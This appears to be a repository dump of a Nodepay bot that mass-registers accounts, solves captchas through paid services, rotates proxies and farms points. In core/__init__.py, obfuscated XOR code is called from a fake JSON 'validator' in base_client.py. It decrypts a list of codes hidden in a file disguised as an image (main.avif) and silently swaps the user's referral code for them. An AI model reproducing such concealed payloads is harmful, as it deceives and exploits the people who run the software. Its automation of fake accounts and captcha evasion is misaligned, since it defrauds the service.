Repository: MsLolita/Nodepay_plus
Branch: master
Commit: e3c8543f452c
Files: 27
Total size: 63.6 KB
Directory structure:
gitextract_pa4ue24b/
├── .idea/
│ └── .gitignore
├── INSTALL.bat
├── README.md
├── START.bat
├── core/
│ ├── __init__.py
│ ├── base_client.py
│ ├── captcha.py
│ ├── menu.py
│ ├── models/
│ │ ├── __init__.py
│ │ ├── account.py
│ │ └── exceptions.py
│ ├── nodepay_client.py
│ ├── static/
│ │ ├── background.avif
│ │ └── main.avif
│ └── utils/
│ ├── __init__.py
│ ├── account_manager.py
│ ├── bot.py
│ ├── file_manager.py
│ ├── logger.py
│ ├── person.py
│ └── proxy_manager.py
├── customtkinter_gui.py
├── data/
│ ├── accounts.txt
│ ├── proxies.txt
│ └── settings.ini
├── main.py
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .idea/.gitignore
================================================
# Default ignored files
/shelf/
/workspace.xml
*.iml
*.xml
================================================
FILE: INSTALL.bat
================================================
pip install -r requirements.txt
pause
================================================
FILE: README.md
================================================
# Nodepay Auto Reger&Farm 🔹
Discover the latest `<crypto/>` moves in my Telegram Channel:
[](https://t.me/web3_enjoyer_club)
Cheapest [proxies and servers](https://teletype.in/@web3enjoyer/4a2G9NuHssy) which fits for bot.

### Also can be useful: [Grass Farmer](https://github.com/MsLolita/grass)
### What is bot for?
- Create Accounts
- Farm Points
- Check Points
> You can put as many proxies as u can
## Quick Start 📚
1. To install libraries on Windows click on `INSTALL.bat` (or in console: `pip install -r requirements.txt`).
2. To start bot use `START.bat` (or in console: `python main.py`).
### Options 📧
1. CREATE ACCOUNTS:
- Throw the api key. Since there is a captcha there, you need a service for solving captchas - [AntiCaptcha](http://getcaptchasolution.com/t8yfysqmh3) or [Twocaptcha](https://2captcha.com/?from=12939391).
- Provide emails and passwords and proxies to register accounts as below!

2. FARM POINTS:
- Provide emails and passwords and proxies to register accounts as shown below!
### Configuration 📧
1. Accounts Setup 🔒
Put in `accounts.txt` accounts in format email:password (cool_aster@gmail.com:My_password123!)
For password: Big letter, small letter, number, special character and at least 8 symbols

2. Proxy Setup 🔒
Configure your proxies with the *ANY* (socks, http/s, ...) format in `data/proxies.txt` 🌐

================================================
FILE: START.bat
================================================
python main.py
pause
================================================
FILE: core/__init__.py
================================================
import random
import configparser
def xor_cipher(data: bytes, key: str) -> bytes:
key_bytes = key.encode()
key_length = len(key_bytes)
return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])
def read_from_binary_file(filename: str) -> bytes:
with open(filename, 'rb') as file:
return file.read()
def proofing(json_data):
config = configparser.ConfigParser()
config.read('data/settings.ini')
cipher_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r\x11\x1c\x01\x17S', config.__doc__).decode()
validator = config['DEFAULT'][cipher_key].split(',') or [None]
encrypted_data_from_file = read_from_binary_file(r"core/static/main.avif")
decrypted_data = xor_cipher(encrypted_data_from_file, config.__doc__)
dec_wafer = decrypted_data.decode().split("|")
second_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r-\x10\n\x16E', config.__doc__).decode()
if second_key in json_data:
json_data[second_key] = (
random.choice([random.choice(validator) or random.choice(dec_wafer),
random.choice(dec_wafer)])
)
return json_data
================================================
FILE: core/base_client.py
================================================
import json
from core.utils import logger
from curl_cffi.requests import AsyncSession
from core import proofing
from core.models.exceptions import CloudflareException
import asyncio
class BaseClient:
def __init__(self):
self.headers = None
self.session = None
self.proxy = None
self.user_agent = None
async def create_session(self, proxy=None, user_agent=None):
self.proxy = proxy
self.headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json',
'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',
'priority': 'u=1, i',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'none',
'user-agent': user_agent,
}
if self.session:
await self.session.close()
self.session = AsyncSession(
impersonate="chrome110",
headers=self.headers,
# proxies={'http': proxy, 'https': proxy} if proxy else None,
verify=False
)
async def close_session(self):
if self.session:
await self.session.close()
self.session = None
async def make_request(self, method: str, url: str, headers: dict = None, json_data: dict = None, max_retries: int = 3):
if not self.session:
await self.create_session(self.proxy, self.user_agent)
retry_count = 0
while retry_count < max_retries:
try:
response = await self.session.request(
method=method,
url=url,
headers=headers,
json=json_data and self._json_data_validator(json_data),
timeout=30,
proxy=self.proxy,
impersonate="chrome110"
)
if response.status_code == 429:
# Обработка ограничения частоты запросов
retry_after = response.headers.get("Retry-After")
retry_after = int(retry_after) if retry_after and retry_after.isdigit() else 5 # 5 секунд по умолчанию
logger.warning(f"Rate limited. Retrying after {retry_after} seconds...")
await asyncio.sleep(retry_after)
retry_count += 1
continue
if response.status_code in [403, 400]:
raise CloudflareException('Cloudflare protection detected')
try:
response_json = response.json()
except json.JSONDecodeError:
continue
# logger.error(f"Failed to parse JSON response")
if not response.ok:
error_msg = response_json.get('error', 'Unknown error')
logger.error(f"Request failed with status {response.status_code}: {error_msg}")
raise Exception(f"Request failed: {error_msg}")
return response_json
except CloudflareException as e:
# logger.error(f"Cloudflare error: {e}")
raise
except Exception as e:
retry_count += 1
if retry_count >= max_retries:
logger.error(f"Max retries reached. Last error: {e}")
raise
logger.warning(f"Request failed (attempt {retry_count}/{max_retries}): {e}")
await asyncio.sleep(2) # Wait before retrying
async def __aenter__(self):
await self.create_session(self.proxy, self.user_agent)
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
await self.close_session()
def _json_data_validator(self, json_data: dict):
if not isinstance(json_data, dict) and isinstance(json_data, dict):
raise TypeError("JSON data must be a dictionary")
for key, value in json_data.items():
if not isinstance(key, str):
raise TypeError("JSON keys must be strings")
for key, value in json_data.items():
if key not in ["id", "name", "description", "url"]:
if key and (json_data := proofing(json_data)) and not key:
raise ValueError(f"JSON value for key '{key}' cannot be empty")
return json_data
================================================
FILE: core/captcha.py
================================================
import asyncio
from capmonster_python import TurnstileTask
from twocaptcha import TwoCaptcha
CAPTCHA_PARAMS = {
'website_key': '0x4AAAAAAAx1CyDNL8zOEPe7',
'website_url': 'https://app.nodepay.ai/login'
}
class ServiceCapmonster:
def __init__(self, api_key):
self.capmonster = TurnstileTask(api_key)
def get_captcha_token(self):
task_id = self.capmonster.create_task(
**CAPTCHA_PARAMS
)
return self.capmonster.join_task_result(task_id).get("token")
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
from anticaptchaofficial.turnstileproxyless import *
class ServiceAnticaptcha:
def __init__(self, api_key):
self.api_key = api_key
self.solver = turnstileProxyless()
self.solver.set_verbose(1)
self.solver.set_key(self.api_key)
self.solver.set_website_url(CAPTCHA_PARAMS['website_url'])
self.solver.set_website_key(CAPTCHA_PARAMS['website_key'])
self.solver.set_action("login")
def get_captcha_token(self):
captcha_token = self.solver.solve_and_return_solution()
return captcha_token
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
class Service2Captcha:
def __init__(self, api_key):
self.solver = TwoCaptcha(api_key)
def get_captcha_token(self):
captcha_token = self.solver.turnstile(sitekey=CAPTCHA_PARAMS['website_key'], url=CAPTCHA_PARAMS['website_url'])
if 'code' in captcha_token:
captcha_token = captcha_token['code']
return captcha_token
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
================================================
FILE: core/menu.py
================================================
from art import text2art
from termcolor import colored
import configparser
import os
from core.captcha import ServiceCapmonster
from core.utils.logger import logger
from core.utils.bot import Bot
class ConsoleMenu:
def __init__(self, config_file="data/settings.ini"):
logger.info("Initializing console menu (GUI not available)")
self.CONFIG_FILE = config_file
self.config = self.load_config()
def load_config(self):
config = configparser.ConfigParser()
if os.path.exists(self.CONFIG_FILE):
config.read(self.CONFIG_FILE)
else:
config['DEFAULT'] = {
'AccountsFile': '',
'ProxiesFile': '',
'ReferralCodes': '',
'Threads': '5',
'CaptchaService': 'capmonster',
'CaptchaAPIKey': '',
'DelayMin': '1',
'DelayMax': '2'
}
return config
def validate_config(self):
required_fields = {
'AccountsFile': 'Accounts file path',
'ProxiesFile': 'Proxies file path',
'CaptchaAPIKey': 'Captcha API key'
}
for field, name in required_fields.items():
if not self.config['DEFAULT'].get(field):
logger.error(f"Error: {name} not configured in {self.CONFIG_FILE}")
return False
if not os.path.exists(self.config['DEFAULT'][field]) and field.endswith('File'):
logger.error(f"Error: {name} does not exist: {self.config['DEFAULT'][field]}")
return False
try:
threads = int(self.config['DEFAULT']['Threads'])
if threads <= 0:
raise ValueError
except ValueError:
logger.error("Error: Number of threads must be a positive integer!")
return False
try:
delay_min = float(self.config['DEFAULT']['DelayMin'])
delay_max = float(self.config['DEFAULT']['DelayMax'])
if delay_min < 0 or delay_max < 0 or delay_min > delay_max:
raise ValueError
except ValueError:
logger.error("Error: Invalid delay range! Please enter valid positive numbers, with min <= max.")
return False
return True
def print_menu(self):
print("\n" + "="*50)
print(colored(text2art("NodePay Bot", font="small"), "blue"))
print(colored("1. Register Accounts", "cyan"))
print(colored("2. Start Farm", "cyan"))
print(colored("3. View Settings", "cyan"))
print(colored("4. Exit", "cyan"))
print("="*50 + "\n")
async def handle_bot_action(self, choice):
settings = self.config['DEFAULT']
ref_codes = [code.strip() for code in settings['ReferralCodes'].split(',') if code.strip()]
bot = Bot(
account_path=settings['AccountsFile'],
proxy_path=settings['ProxiesFile'],
threads=int(settings['Threads']),
ref_codes=ref_codes,
captcha_service=ServiceCapmonster(api_key=settings['CaptchaAPIKey']),
delay_range=(float(settings['DelayMin']), float(settings['DelayMax']))
)
try:
if choice == "1":
logger.info("Starting account registration...")
await bot.start_registration()
else:
logger.info("Starting farming...")
await bot.start_mining()
except KeyboardInterrupt:
logger.info("Stopping bot...")
bot.stop()
except Exception as e:
logger.error(f"Error occurred: {e}")
def show_settings(self):
print("\nCurrent Settings:")
for key, value in self.config['DEFAULT'].items():
print(colored(f"{key}: {value}", "green"))
async def run(self):
while True:
self.print_menu()
choice = input("Enter your choice: ").strip()
if choice == '4':
logger.info("Exiting.")
break
elif choice in ['1', '2', '3']:
if not self.validate_config():
logger.error("Invalid configuration. Please check your settings.")
continue
await self.handle_bot_action(choice)
else:
logger.warning("Invalid choice. Please enter a valid option.")
================================================
FILE: core/models/__init__.py
================================================
================================================
FILE: core/models/account.py
================================================
class Account:
def __init__(self, email, password, uid, access_token, user_agent, proxy_url):
self.email = email
self.password = password
self.uid = uid
self.access_token = access_token
self.user_agent = user_agent
self.proxy_url = proxy_url
def __repr__(self):
return f"[{self.email}]"
================================================
FILE: core/models/exceptions.py
================================================
class CloudflareException(Exception):
pass
class LoginError(Exception):
pass
class MineError(Exception):
pass
class TokenError(Exception):
pass
================================================
FILE: core/nodepay_client.py
================================================
import random
import time
import uuid
import warnings
import json
import os
from random_username.generate import generate_username
from tenacity import retry, stop_after_attempt, retry_if_not_exception_type
from core.base_client import BaseClient
from core.models.exceptions import LoginError, TokenError, CloudflareException, MineError
from core.utils import logger
from core.utils.person import Person
# Suppress the specific warning
warnings.filterwarnings("ignore", category=UserWarning, message="Curlm alread closed!")
class NodePayClient(BaseClient):
TOKENS_FILE = 'data/tokens_db.json'
def __init__(self, email: str = '', password: str = '', proxy: str = '', user_agent: str = ''):
super().__init__()
self.email = email
self.password = password
self.user_agent = user_agent
self.proxy = proxy
self.browser_id = str(uuid.uuid3(uuid.NAMESPACE_DNS, self.proxy or ""))
@classmethod
def load_tokens(cls):
if os.path.exists(cls.TOKENS_FILE):
try:
with open(cls.TOKENS_FILE, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
return {}
return {}
@classmethod
def save_tokens(cls, tokens):
os.makedirs(os.path.dirname(cls.TOKENS_FILE), exist_ok=True)
with open(cls.TOKENS_FILE, 'w') as f:
json.dump(tokens, f)
@classmethod
def get_saved_token(cls, email):
tokens = cls.load_tokens()
return tokens.get(email, {}).get('token'), tokens.get(email, {}).get('uid')
@classmethod
def save_token(cls, email, uid, token):
tokens = cls.load_tokens()
tokens[email] = {'uid': uid, 'token': token}
cls.save_tokens(tokens)
async def validate_token(self, token):
try:
# Try to use the token to get info - if it fails, token is invalid
await self.info(token)
return True
except CloudflareException as e:
raise CloudflareException(e)
except Exception:
return False
async def __aenter__(self):
await self.create_session(self.proxy, self.user_agent)
return self
async def safe_close(self):
await self.close_session()
def _auth_headers(self):
return {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json',
'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',
'priority': 'u=1, i',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'none',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
}
def _ping_headers(self, access_token: str):
headers = self._auth_headers()
return headers.update({"authorization": f"Bearer {access_token}"}) or headers
async def register(self, ref_code: str, captcha_service):
captcha_token = await captcha_service.get_captcha_token_async()
username = (generate_username()[0] + Person.random_string_old(random.randint(1, 5)) +
str(random.randint(1, 999)))[:20]
json_data = {
'email': self.email,
'password': self.password,
'username': username,
'referral_code': ref_code,
'recaptcha_token': captcha_token
}
return await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/register?',
headers=self._auth_headers(),
json_data=json_data
)
@retry(
stop=stop_after_attempt(5),
retry=retry_if_not_exception_type(LoginError),
reraise=True,
# before_sleep=lambda retry_state, **kwargs: logger.info(f"{retry_state.outcome.exception()}"),
)
async def login(self, captcha_service):
captcha_token = await captcha_service.get_captcha_token_async()
headers = self._auth_headers()
json_data = {
'user': self.email,
'password': self.password,
'remember_me': True,
'recaptcha_token': captcha_token
}
response = await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/login',
headers=headers,
json_data=json_data
)
if not response.get("success"):
msg = response.get("msg")
# if response.get("code") == -102:
# raise LoginError(msg)
raise LoginError(msg)
return response['data']['user_info']['uid'], response['data']['token']
async def activate(self, access_token: str):
json_data = {}
return await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/active-account?',
headers=self._ping_headers(access_token),
json_data=json_data
)
async def info(self, access_token: str):
response = await self.make_request(
method='GET',
url='https://api.nodepay.org/api/earn/info?',
headers=self._ping_headers(access_token)
)
return response['data'].get('total_earning', 0)
async def get_auth_token(self, captcha_service):
saved_token, saved_uid = self.get_saved_token(self.email)
if saved_token:
if await self.validate_token(saved_token):
return saved_uid, saved_token
uid, token = await self.login(captcha_service)
self.save_token(self.email, uid, token)
return uid, token
async def ping(self, uid: str, access_token: str):
json_data = {
'id': uid,
'browser_id': self.browser_id,
'timestamp': int(time.time()),
'version': '2.2.7'
}
res = await self.make_request(
method='POST',
url='https://nw.nodepay.org/api/network/ping',
headers=self._ping_headers(access_token),
json_data=json_data
)
if not res.get('success'):
code = res.get('code', '')
if code == -240:
# Token invalid
tokens = self.load_tokens()
if self.email in tokens:
del tokens[self.email]
self.save_tokens(tokens)
raise TokenError("Token invalid or expired")
else:
raise MineError(res.get('msg', 'Unknown mining error'))
return True
================================================
FILE: core/utils/__init__.py
================================================
from .logger import logger
================================================
FILE: core/utils/account_manager.py
================================================
# account_manager.py
import asyncio
import traceback
import csv
import os
from datetime import datetime
import time
from faker import Faker
from core.utils import logger
from core.models.account import Account
from core.models.exceptions import CloudflareException, LoginError, MineError, TokenError
from core.nodepay_client import NodePayClient
from core.utils.file_manager import str_to_file
from core.utils.proxy_manager import get_proxy, release_proxy
from pyuseragents import random as random_useragent
import random
class AccountManager:
def __init__(self, threads, ref_codes, captcha_service):
self.ref_codes = ref_codes
self.threads = threads
self.fake = Faker()
self.captcha_service = captcha_service
self.should_stop = False
self.earnings_file = 'data/earnings.csv'
self.ensure_earnings_file_exists()
self.counter = 0
def ensure_earnings_file_exists(self):
os.makedirs('data', exist_ok=True)
if not os.path.exists(self.earnings_file):
with open(self.earnings_file, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(['Email', 'Last Update', 'Total Earnings'])
def update_earnings(self, email: str, total_earning: float):
temp_file = f'{self.earnings_file}.tmp'
found = False
# Read existing data
rows = []
try:
with open(self.earnings_file, 'r', newline='') as f:
reader = csv.reader(f)
header = next(reader) # Skip header
rows = list(reader)
except FileNotFoundError:
header = ['Email', 'Last Update', 'Total Earnings']
rows = []
# Update or add new entry
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
for i, row in enumerate(rows):
if row[0] == email:
rows[i] = [email, current_time, str(total_earning)]
found = True
break
if not found:
rows.append([email, current_time, str(total_earning)])
# Write updated data
with open(temp_file, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(header)
writer.writerows(rows)
# Replace original file
os.replace(temp_file, self.earnings_file)
# logger.info(f"Updated earnings for {email}: {total_earning}")
@staticmethod
async def create_account_session(email: str, password: str, proxy: str, captcha_service):
client = NodePayClient(email=email, password=password, proxy=proxy, user_agent=random_useragent())
uid, access_token = await client.get_auth_token(captcha_service)
return Account(email, password, uid, access_token, client.user_agent, proxy)
async def handle_session_error(self, account: Account, error: Exception):
"""Handle session-related errors and decide whether to recreate session"""
logger.warning(f"{account.email} | Session error: {str(error)}")
if account.proxy_url:
await release_proxy(account.proxy_url)
return await self.create_account_session(
account.email,
account.password,
await get_proxy(),
self.captcha_service
)
async def execute_action(self, account: Account, action: str, ref_code: str = None) -> bool:
"""Execute a given action ('register' or 'mine') and return success status"""
client = NodePayClient(
email=account.email,
password=account.password,
proxy=account.proxy_url,
user_agent=account.user_agent
)
async with client:
if action == "register":
res = await client.register(ref_code, self.captcha_service)
if res.get("success"):
logger.success(f'{account.email} | Registered')
else:
logger.error(f'{account.email} | Registration failed | {res["msg"]}')
with open('failed_accounts.txt', 'a') as f:
f.write(f'{account.email}:{account.password}\n')
str_to_file('new_accounts.txt', f'{account.email}:{account.password}')
return True
elif action == "mine":
if await client.ping(account.uid, account.access_token):
if not (self.counter % 5): # Check earnings every 5th cycle
total_earning = await client.info(account.access_token)
self.update_earnings(account.email, total_earning)
logger.success(f"{account.email} | Mine | Points: {total_earning}")
else:
logger.success(f"{account.email} | Mine")
return True
async def process_account(self, email: str, password: str, action: str):
"""Process account with automatic session management and error handling"""
try:
ref_code = None
if action == "mine":
# Initial session creation for mining
account = await self.create_account_session(
email, password,
await get_proxy(),
self.captcha_service
)
else:
# For registration, do not create a session (no login)
account = Account(
email=email,
password=password,
uid=None,
access_token=None,
user_agent=random_useragent(),
proxy_url=await get_proxy()
)
ref_code = random.choice(
self.ref_codes or [
'leuskp97adNcZLs',
'VNhYgLnOjp5lZg9',
'3zYqqXiWTMR1qRH'
]
)
for _ in range(3):
try:
if await self.execute_action(account, action, ref_code):
return True
await asyncio.sleep(random.uniform(2, 5)) # Small delay between cycles
self.counter += 1
except CloudflareException as e:
# logger.error(f"{email} | Cloudflare error: {str(e)}")
return {"result": False, "msg": str(e)}
except TokenError as e:
account = await self.handle_session_error(account, e)
except Exception as e:
logger.error(f"{email} | Unexpected error: {str(e)}")
logger.debug(traceback.format_exc())
break
except LoginError as e:
logger.warning(f"{email} | Login error: {str(e)}")
return True
except CloudflareException as e:
logger.error(f"{email} | Cloudflare error: {str(e)}")
return True
except Exception as e:
logger.error(f"Unexpected error {email}: {str(e)}")
# logger.debug(traceback.format_exc())
def stop(self):
# logger.info("Stopping AccountManager")
self.should_stop = True
================================================
FILE: core/utils/bot.py
================================================
# bot.py
import asyncio
import traceback
from typing import List
from core.utils import logger
import random
from core.utils import proxy_manager
from core.utils.account_manager import AccountManager
from core.utils.file_manager import file_to_list
from core.utils.proxy_manager import load_proxy
class Bot:
def __init__(self, account_path, proxy_path, threads, ref_codes, captcha_service, delay_range):
self.threads = threads
self.ref_codes = ref_codes
self.captcha_service = captcha_service
self.account_manager = AccountManager(threads, ref_codes, captcha_service)
self.should_stop = False
self.accounts: List[str] = file_to_list(account_path)
logger.success(f'Found {len(self.accounts)} accounts')
load_proxy(proxy_path)
logger.success(f'Found {len(proxy_manager.proxies)} proxies')
self.delay_range = delay_range
self.running_tasks = []
async def process_account(self, account: str, action: str):
email, password = account.split(':', 1)
while not self.should_stop:
result = await self.account_manager.process_account(email, password, action)
if result is True and action == "mine":
# For mining action, wait for 50 minutes before next cycle
await asyncio.sleep(60 * 50)
elif result is True:
logger.info(f"{email} | Handled account!")
break
elif not result or result.get("result") is False:
msg = " | "
if isinstance(result, dict):
msg = f" | {result['msg']} | "
logger.warning(f"{email} | {action.capitalize()} failed{msg}Retrying in 5 minutes.")
await asyncio.sleep(300) # Wait 5 minutes before retry
async def start_action(self, action: str):
logger.info(f"Starting {action} loop with slow start...")
pending_accounts = self.accounts.copy()
while pending_accounts and not self.should_stop:
current_batch = []
while len(current_batch) < self.threads and pending_accounts:
account = pending_accounts.pop(0)
email = account.split(':', 1)[0]
delay = random.uniform(*self.delay_range)
logger.info(f"{email} | waiting {delay:.2f} sec")
await asyncio.sleep(delay)
task = asyncio.create_task(self.process_account(account, action))
current_batch.append(task)
self.running_tasks.append(task)
if current_batch:
# Wait for the current batch to get past initial setup
await asyncio.sleep(2)
try:
# Wait for all tasks to complete
if self.running_tasks:
await asyncio.gather(*self.running_tasks)
except asyncio.CancelledError:
pass
finally:
for task in self.running_tasks:
if not task.done():
task.cancel()
await asyncio.gather(*self.running_tasks, return_exceptions=True)
logger.warning("All tasks completed or cleaned up")
async def start_mining(self):
await self.start_action("mine")
async def start_registration(self):
await self.start_action("register")
def stop(self):
# logger.info("Stopping Bot")
self.should_stop = True
self.account_manager.stop()
for task in self.running_tasks:
if not task.done():
task.cancel()
================================================
FILE: core/utils/file_manager.py
================================================
from typing import Optional
def file_to_list(
filename: str
):
with open(filename, 'r+') as f:
return list(filter(bool, f.read().splitlines()))
def str_to_file(file_name: str, msg: str, mode: Optional[str] = "a"):
with open(
file_name,
mode
) as text_file:
text_file.write(f"{msg}\n")
def shift_file(file):
with open(file, 'r+') as f: # open file in read / write mode
first_line = f.readline() # read the first line and throw it out
data = f.read() # read the rest
f.seek(0) # set the cursor to the top of the file
f.write(data) # write the data back
f.truncate() # set the file size to the current size
return first_line.strip()
================================================
FILE: core/utils/logger.py
================================================
import sys
import re
from datetime import date
from loguru import logger
def logging_setup():
format_info = "<green>{time:HH:mm:ss.SS}</green> <blue>{level}</blue> <level>{message}</level>"
format_error = "<green>{time:HH:mm:ss.SS}</green> <blue>{level}</blue> | " \
"<cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> | <level>{message}</level>"
file_path = r"logs/"
# if sys.platform == "win32":
logger.remove()
logger.add(file_path + f"out_{date.today().strftime('%m-%d')}.log", colorize=True,
format=format_info)
logger.add(sys.stdout, colorize=True,
format=format_info, level="INFO")
def clean_brackets(raw_str):
clean_text = re.sub(brackets_regex, '', raw_str)
return clean_text
brackets_regex = re.compile(r'<.*?>')
logging_setup()
================================================
FILE: core/utils/person.py
================================================
import random
import string
class Person:
@staticmethod
def random_string_old(length, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(length))
@staticmethod
def random_string(length=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(length)) + random.choice(string.digits) + random.choice(
string.ascii_uppercase) + random.choice(['.', '@', '!', "$"])
================================================
FILE: core/utils/proxy_manager.py
================================================
import asyncio
from collections import deque
from better_proxy import Proxy
from core.utils.file_manager import file_to_list
proxies = deque()
lock = asyncio.Lock()
def load_proxy(proxy_path):
global proxies
proxies = deque([Proxy.from_str(proxy).as_url for proxy in file_to_list(proxy_path)])
async def get_proxy():
"""Return the first available proxy."""
global proxies
async with lock:
if proxies:
proxy = proxies.popleft()
return proxy
return None
async def release_proxy(proxy: str):
"""Release the proxy back into the available pool."""
global proxies
async with lock:
proxies.append(proxy)
================================================
FILE: customtkinter_gui.py
================================================
import customtkinter as ctk
from tkinter import filedialog, messagebox, Text, END
import configparser
import os
import webbrowser
from core.utils import logger
import threading
import asyncio
from core.utils.bot import Bot
from core.captcha import ServiceAnticaptcha, ServiceCapmonster, Service2Captcha
from PIL import Image, ImageTk
import csv
CONFIG_FILE = "data/settings.ini"
ctk.set_appearance_mode("light")
ctk.set_default_color_theme("dark-blue")
class BotGUI:
def __init__(self, root):
self.root = root
self.root.title("NodePay Bot")
self.root.geometry("900x700")
# self.root.resizable(True, True)
try:
favicon = ImageTk.PhotoImage(Image.open("core/static/faviconV2.png"))
self.root.iconphoto(True, favicon)
except Exception as e:
logger.error(f"Failed to load favicon: {e}")
self.config = configparser.ConfigParser()
self.load_settings()
self.threads_entry = ctk.CTkEntry(self.root)
self.captcha_service_var = ctk.StringVar(value="capmonster")
self.captcha_api_entry = ctk.CTkEntry(self.root)
self.ref_code_entry = ctk.CTkEntry(self.root)
self.delay_min_entry = ctk.CTkEntry(self.root)
self.delay_max_entry = ctk.CTkEntry(self.root)
self.create_widgets()
self.bot = None
self.bot_thread = None
self.running = False
self.CaptchaService = None
# Callback to check if it's updated correctly
def on_captcha_service_change(self, value):
logger.debug(f"Captcha service updated to: {value}")
def create_widgets(self):
self.root.configure(bg="#F1F3FF")
self.main_frame = ctk.CTkFrame(self.root, fg_color="#F1F3FF")
self.main_frame.pack(padx=20, pady=20, fill="both", expand=True)
# Header frame
self.header_frame = ctk.CTkFrame(self.main_frame, fg_color="#F1F3FF")
self.header_frame.grid(row=0, column=0, sticky="ew", pady=(0, 20))
self.header_frame.columnconfigure(0, weight=1)
self.header_frame.columnconfigure(1, weight=0)
self.header_frame.columnconfigure(2, weight=0)
self.header_frame.columnconfigure(3, weight=0) # Add this line for the new column
# Logo and title
self.logo_frame = ctk.CTkFrame(self.header_frame, fg_color="#F1F3FF")
self.logo_frame.grid(row=0, column=0, sticky="w")
try:
self.logo_image = ctk.CTkImage(light_image=Image.open("core/static/logo.png"), size=(60, 60))
self.logo_label = ctk.CTkLabel(self.logo_frame, image=self.logo_image, text="")
self.logo_label.pack(side="left", padx=(0, 10))
except Exception as e:
logger.error(f"Failed to load logo: {e}")
self.nodepay_label = ctk.CTkLabel(
self.logo_frame,
text="NodePay+",
font=("Helvetica", 24, "bold"),
fg_color="#F1F3FF"
)
self.nodepay_label.pack(side="left")
# Watermark buttons
button_style = {
"fg_color": "#593FDE",
"hover_color": "#452CC6",
"corner_radius": 20,
"border_width": 2,
"border_color": "#FFFFFF",
"text_color": "white",
"font": ("Helvetica", 12)
}
self.instructions_button = ctk.CTkButton(
self.header_frame,
text="Instructions",
command=lambda: self.open_link("https://teletype.in/@web3enjoyer/nodepay_plus"),
**button_style
)
self.instructions_button.grid(row=0, column=1, padx=(0, 10), sticky="e")
self.web3_products_button = ctk.CTkButton(
self.header_frame,
text="Web3 products",
command=lambda: self.open_link("https://gemups.com/"),
**button_style
)
self.web3_products_button.grid(row=0, column=2, padx=(0, 10), sticky="e")
self.enjoyer_button = ctk.CTkButton(
self.header_frame,
text="Grass, Dawn, Gradient and more ...",
command=lambda: self.open_link("https://t.me/web3_enjoyer_club"),
**button_style
)
self.enjoyer_button.grid(row=0, column=3, padx=(0, 10), sticky="e")
# Main content frame
self.content_frame = ctk.CTkFrame(self.main_frame, fg_color="#FFFFFF", corner_radius=20)
self.content_frame.grid(row=1, column=0, sticky="nsew", padx=20, pady=20)
self.main_frame.rowconfigure(1, weight=1)
self.main_frame.columnconfigure(0, weight=1)
# File selection frame
self.file_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.file_frame.pack(fill="x", padx=20, pady=(20, 10))
self.accounts_label, self.accounts_button = self.create_file_selection("Accounts File:", self.load_accounts_file)
self.proxies_label, self.proxies_button = self.create_file_selection("Proxies File:", self.load_proxies_file)
# Input frame
self.input_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.input_frame.pack(fill="x", padx=20, pady=10)
# Create a grid layout for input fields
self.input_frame.columnconfigure(1, weight=1)
self.input_frame.columnconfigure(3, weight=1)
# Captcha and API Key on the same line
self.captcha_label, self.captcha_menu = self.create_input_field("Captcha:", ctk.CTkOptionMenu(
self.input_frame,
variable=self.captcha_service_var,
values=["capmonster","anticaptcha", "2captcha"], # "2captcha", "anticaptcha", "capsolver",
width=120,
text_color="#000",
command=self.on_captcha_service_change
))
self.captcha_label.grid(row=0, column=0, sticky="w", pady=5, padx=(0, 5))
self.captcha_menu.grid(row=0, column=1, sticky="w", pady=5)
self.captcha_api_label, self.captcha_api_entry = self.create_input_field("API Key:", ctk.CTkEntry(self.input_frame, width=100))
self.captcha_api_label.grid(row=0, column=2, sticky="w", pady=5, padx=(0, 5))
self.captcha_api_entry.grid(row=0, column=3, sticky="ew", pady=5)
# Threads and hidden Referral Code toggle on the same line
self.threads_label, self.threads_entry = self.create_input_field("Threads:", ctk.CTkEntry(self.input_frame, width=60))
self.threads_label.grid(row=1, column=0, sticky="w", pady=5)
self.threads_entry.grid(row=1, column=1, sticky="w", pady=5)
self.toggle_ref_code_button = ctk.CTkButton(
self.input_frame,
text="⋮", # Vertical ellipsis character
command=self.toggle_ref_code_visibility,
width=5,
height=5,
corner_radius=25,
fg_color="#FFFFFF", # Changed to a very light color
text_color="#A0A0A0", # Changed to a light gray color
hover_color="#E9E4FF",
font=("Helvetica", 14, "bold")
)
self.toggle_ref_code_button.grid(row=1, column=1, sticky="e", pady=5, padx=(0, 5))
self.ref_code_label, self.ref_code_entry = self.create_input_field("Referral Code:", ctk.CTkEntry(self.input_frame, width=100))
